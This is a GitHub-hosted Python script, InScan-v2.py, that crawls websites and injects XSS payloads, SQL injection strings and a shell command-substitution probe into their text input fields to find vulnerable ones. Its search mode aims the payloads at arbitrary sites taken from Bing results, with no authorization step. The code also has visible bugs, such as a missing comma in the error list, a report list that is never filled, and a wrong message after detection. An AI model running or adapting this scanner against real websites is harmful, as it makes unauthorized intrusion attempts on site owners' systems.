-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathInScan-v2.py
386 lines (301 loc) · 14.8 KB
/
InScan-v2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
import colorama
from colorama import Fore, Style
import requests
from bs4 import BeautifulSoup
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.support.ui import WebDriverWait
from urllib.parse import urlparse, urljoin
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
import time
def check_xss(url, input_boxes):
vulnerabilities = []
# Common XSS payloads
payloads = [
"<script>alert('XSS')</script>",
"<img src='x' onerror='alert(\"XSS\")'>",
"<svg/onload=alert('XSS')>",
"<svg><script>alert('XSS')</script>",
"'\"><script>alert('XSS')</script>",
"';alert('XSS');//",
"%3Cscript%3Ealert('XSS')%3C/script%3E"
]
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--disable-notifications")
chrome_options.set_capability('unhandledPromptBehavior', 'ignore')
# Initialize Selenium WebDriver with Chrome options and capabilities
driver = webdriver.Chrome(options=chrome_options)
try:
for input_box in input_boxes:
if 'name' in input_box.attrs:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing fot XSS on input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
for payload in payloads:
try:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing Payload: {payload}")
driver.get(url)
# Find the input box by name
input_field = driver.find_element(By.NAME, input_box['name'])
# Enter the payload into the input box
input_field.send_keys(payload)
time.sleep(0.5)
try:
submit_button = driver.find_element(By.XPATH, "//input[@type='submit']")
submit_button.click()
except NoSuchElementException:
pass
input_field.submit()
try:
alert = WebDriverWait(driver, 5).until(EC.alert_is_present())
if alert:
vulnerabilities.append({
'type': 'XSS',
'input_param': input_box['name'],
'payload': payload,
'result': f'XSS Success with payload : {payload}'
})
print(f"XSS Success with payload : {payload}")
alert.accept()
except TimeoutException:
pass
except NoSuchElementException:
continue
finally:
# Close the browser
driver.quit()
if not vulnerabilities:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} No XSS vulnerability found for input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
return vulnerabilities
colorama.init(autoreset=True)
def print_title():
title = """
.___ _________
| | ____ / _____/ ____ _____ ____
| | / \ \_____ \ _/ ___\ \__ \ / \
| || | \ / \\ \___ / __ \_| | \
|___||___| //_______ / \___ >(____ /|___| /
\/ \/ \/ \/ \/
v1.1
By: Derek Johnston
"""
print(Fore.BLUE + title + Style.RESET_ALL)
def get_internal_links(base_url, soup):
internal_links = set()
parsed_base_url = urlparse(base_url)
base_domain = f"{parsed_base_url.scheme}://{parsed_base_url.netloc}"
for link in soup.find_all('a', href=True):
href = link['href']
parsed_href = urlparse(href)
absolute_url = urljoin(base_url, href)
# Check if the absolute URL is within the same domain as the base URL
if parsed_href.netloc == '' or parsed_href.netloc == parsed_base_url.netloc:
internal_links.add(absolute_url)
return internal_links
def scan_website(url):
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}" + Fore.BLUE + f"{Fore.RESET} Crawling: {Fore.BLUE}{url}:" + Style.RESET_ALL)
try:
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Gather internal links
internal_links = get_internal_links(url, soup)
# Print internal links
for link in internal_links:
print(link)
time.sleep(0.3)
print("\n=====================")
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing: {url}")
test_link(url)
for internal_link in internal_links:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing: {internal_link}")
test_link(internal_link)
else:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Failed to fetch {url}. Skipping...")
print("\n=====================")
except Exception as e:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} An error occurred while testing {url}: {e}")
print("\n=====================")
def test_link(url):
try:
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
input_boxes = soup.find_all('input', {'type': 'text'})
if not input_boxes:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} No injection vectors found.")
return
vulnerabilities = []
xss_vulnerabilities = check_xss(url, input_boxes)
vulnerabilities.extend(xss_vulnerabilities)
time.sleep(5)
sql_vulnerabilities = check_sql_injection(url, input_boxes)
vulnerabilities.extend(sql_vulnerabilities)
time.sleep(5)
command_vulnerabilities = check_command_injection(url, input_boxes)
vulnerabilities.extend(command_vulnerabilities)
time.sleep(5)
if vulnerabilities:
print(f"{Fore.WHITE}[{Fore.YELLOW}RESULT{Fore.WHITE}]{Fore.RESET} Detected vulnerabilities for {url}:")
for vuln in vulnerabilities:
print(f"- Type: {vuln['type']}, Input Parameter: {vuln['input_param']}, Payload: {vuln['payload']}")
print("\n=====================")
else:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}" + Fore.GREEN + f" No vulnerabilities found for {url}." + Style.RESET_ALL)
else:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Failed to fetch {url}. Skipping...")
print("\n=====================")
except Exception as e:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} An error occurred while testing {url}: {e}")
print("\n=====================")
def web_search(query, num_results=5):
try:
url = f"https://www.bing.com/search?q={query}&count={num_results}"
response = requests.get(url)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
search_results = soup.find_all('a', href=True)
relevant_sites = []
for link in search_results:
url = link['href']
if url.startswith('http') and 'microsoft' not in url.lower():
relevant_sites.append(url)
if len(relevant_sites) >= num_results:
break
return relevant_sites
except requests.exceptions.RequestException as e:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Error occurred during web search: {e}")
return []
# Function to check for XSS vulnerability
# Function to check for SQL injection vulnerability
def check_sql_injection(url, input_boxes):
vulnerabilities = []
payloads = [
"SELECT * FROM nonexistent_table;",
";",
"'",
"1=1",
"' OR 1=1",
"UNION ALL SELECT 1,2,3 --",
"1' UNION ALL SELECT 1,2,3 --",
"1' AND EXISTS(SELECT * FROM information_schema.tables WHERE table_schema=database() LIMIT 1) --"
]
errors = [
"you have an error in your sql syntax;",
"warning: mysql",
"unclosed quotation mark after the character string",
"quoted string not properly terminated",
"Server Error"
"information_schema"
]
for input_box in input_boxes:
if 'name' in input_box.attrs:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing SQL Injection for input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
for payload in payloads:
data = {input_box['name']: payload}
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing Payload: {payload}")
response = requests.post(url, data=data)
# Check if any of the errors are present in the response
for error in errors:
if error.lower() in response.text.lower():
vulnerabilities.append({
'type': 'SQL Injection',
'input_param': input_box['name'],
'payload': payload,
'result': f'Detected potential SQL Injection with payload: {payload}'
})
print(
f"{Fore.WHITE}[{Fore.YELLOW}RESULT{Fore.WHITE}]{Fore.RESET} :{Fore.RED} {vulnerabilities[-1]['result']}")
break
if not vulnerabilities:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.GREEN} No SQL Injection vulnerability found for input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
return vulnerabilities
# Function to check for command injection vulnerability
def check_command_injection(url, input_boxes):
vulnerabilities = []
for input_box in input_boxes:
if 'name' in input_box.attrs:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing Command Injection Payload on input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
payload = "$(echo 'test999111')"
data = {input_box['name']: payload}
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing Payload: {payload}")
response = requests.post(url, data=data)
if "test999111" in response.text:
vulnerabilities.append({
'type': 'Command Injection',
'input_param': input_box['name'],
'result': f"Command execution successful."
})
print(
f"{Fore.WHITE}[{Fore.YELLOW}RESULT{Fore.WHITE}]{Fore.RESET} :{Fore.RED} {vulnerabilities[-1]['result']}")
else:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}{Fore.GREEN} No Command Injection vulnerability found for input box: {Fore.BLUE}{input_box['name']}{Fore.RESET}")
return vulnerabilities
# Main function
def main():
try:
print_title()
print("Choose option:")
print(f"{Fore.YELLOW}1.{Fore.RESET} Scan a specific website")
print(f"{Fore.YELLOW}2.{Fore.RESET} Scan search results")
option = input("Enter your choice (1 ot 2): ")
if option == "1":
url = input("Enter URL to scan with scheme (http/https): ")
scan_website(url)
elif option == "2":
query = input("Enter your search query: ")
num_results = int(input("Enter the number of sites to test: "))
search_results = web_search(query, num_results)
vulnerable_sites = []
for url in search_results:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Testing: {Fore.BLUE}{url}:" + Style.RESET_ALL)
try:
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
input_boxes = soup.find_all('input', {'type': 'text'})
if not input_boxes:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} No injection vectors found.")
print("\n=====================")
continue
xss_vulnerabilities = check_xss(url, input_boxes)
time.sleep(5)
sql_vulnerabilities = check_sql_injection(url, input_boxes)
time.sleep(5)
command_vulnerabilities = check_command_injection(url, input_boxes)
time.sleep(5)
if not xss_vulnerabilities and not sql_vulnerabilities and not command_vulnerabilities:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET}" + Fore.GREEN + " No vulnerabilities found." + Style.RESET_ALL)
else:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} Failed to fetch {url}. Skipping...")
print("\n=====================")
except Exception as e:
print(
f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} An error occurred while testing {url}: {e}")
print("\n=====================")
continue
if vulnerable_sites:
print("\n=======REPORT========")
print("\nVulnerable Sites:")
for site, vuln_type, input_param in vulnerable_sites:
print(f"- Site: {site}, Type: {vuln_type}, Input Parameter: {input_param}")
except Exception as e:
print(f"{Fore.WHITE}[{Fore.YELLOW}INFO{Fore.WHITE}]{Fore.RESET} An error occurred: {e}")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("Keyboard interrupt detected. Exiting...")
except Exception as e:
print(f"An error occurred: {e}")